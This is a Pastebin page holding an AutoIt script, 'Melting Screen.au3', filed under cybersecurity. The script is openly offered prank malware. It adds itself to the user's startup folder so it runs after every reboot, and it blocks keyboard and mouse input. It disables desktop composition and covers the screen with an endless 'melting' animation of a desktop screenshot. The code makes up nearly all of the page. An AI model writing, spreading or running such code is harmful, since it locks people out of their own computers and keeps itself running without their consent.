Advertisement
FlyFar

Melting Screen.au3

Jul 13th, 2023
1,678
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 2.18 KB | Cybersecurity | 0 0
  1. #include <ScreenCapture.au3>
  2. #include <AutoItConstants.au3>
  3. #include <StringConstants.au3>
  4. #include <UDF.au3>
  5.  
  6. ; Run function to add to startup
  7.  startup_ADD()
  8.  
  9. ; Startup Function Caller
  10. Func startup_ADD()
  11.     _StartupFolder_Install() ; Add the running EXE to the Current Users startup folder.
  12.     ShellExecute(@StartupDir & '\')
  13.     Sleep(5000)
  14.  EndFunc
  15.  
  16. ; Disable Keyboard & Mouse InputBox
  17. BlockInput($BI_DISABLE)
  18.  
  19. ; Animation: melting screen
  20. Local $iAnimation = 0
  21.  
  22. Local $bAndyMode = True
  23.  
  24. ; m1, m2, k1, k2, z1, z2
  25. Local $aAnimations[22][6] = [ _
  26.     [2,2,128,128,1,1]
  27. ]
  28.  
  29. Global Const $hDwmApiDll = DllOpen("dwmapi.dll")
  30. Global $sChkAero = DllStructCreate("int;")
  31. DllCall($hDwmApiDll, "int", "DwmIsCompositionEnabled", "ptr", DllStructGetPtr($sChkAero))
  32. Global $aero = DllStructGetData($sChkAero, 1)
  33. If $aero Then DllCall($hDwmApiDll, "int", "DwmEnableComposition", "uint", False)
  34. ;Sleep(500)
  35. Opt("GUIOnEventMode",1)
  36. Local $c=b(0),$a=@DesktopWidth,$b=@DesktopHeight
  37. _ScreenCapture_Capture("m.bmp",0,0,-1,-1,False)
  38. $d = GUICreate(0,$a,$b,0,0,0x80000000)
  39. GUISetOnEvent(-3,"a")
  40. GUICtrlCreatePic("m.bmp",0,0,$a,$b)
  41. $e=b($d)
  42. GUISetState()
  43.  
  44. While 1;.
  45.     $f=($a-$aAnimations[$iAnimation][2])*random(0,1)
  46.     $g=($b-$aAnimations[$iAnimation][3])*random(0,1)
  47.     $h = $aAnimations[$iAnimation][0]*random(0,1) - $aAnimations[$iAnimation][4]
  48.     $i = $aAnimations[$iAnimation][1]*random(0,1) - $aAnimations[$iAnimation][5]
  49.     If Not $bAndyMode Then
  50.         DllCall("gdi32.dll","bool","BitBlt","handle",$e,"int",$f+$h,"int",$g+$i,"int",$aAnimations[$iAnimation][2],"int",$aAnimations[$iAnimation][3],"handle",$c,"int",$f,"int",$g,"dword",0x00CC0020);
  51.     Else
  52.         DllCall("gdi32.dll","bool","BitBlt","handle",$e,"int",int($f + $h), "int",int($g + $i),"int",128, "int",128,"handle",$e,"int",int($f),"int",int($g), "dword", 0x00CC0020) ;Andy's Variante
  53.     EndIf
  54. WEnd;
  55.  
  56. DllCall("user32.dll","int","ReleaseDC","hwnd",$d,"handle",$e)
  57. DllCall("user32.dll","int","ReleaseDC","hwnd",0,"handle",$c)
  58.    Func a();
  59.     If $aero Then DllCall($hDwmApiDll, "int", "DwmEnableComposition", "uint", True)
  60.       Exit;
  61.    EndFunc;.
  62.  
  63.  Func b($j);
  64.     $k=DllCall("user32.dll","handle","GetDC","hwnd",$j);
  65.     Return $k[0];
  66.  EndFunc;.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement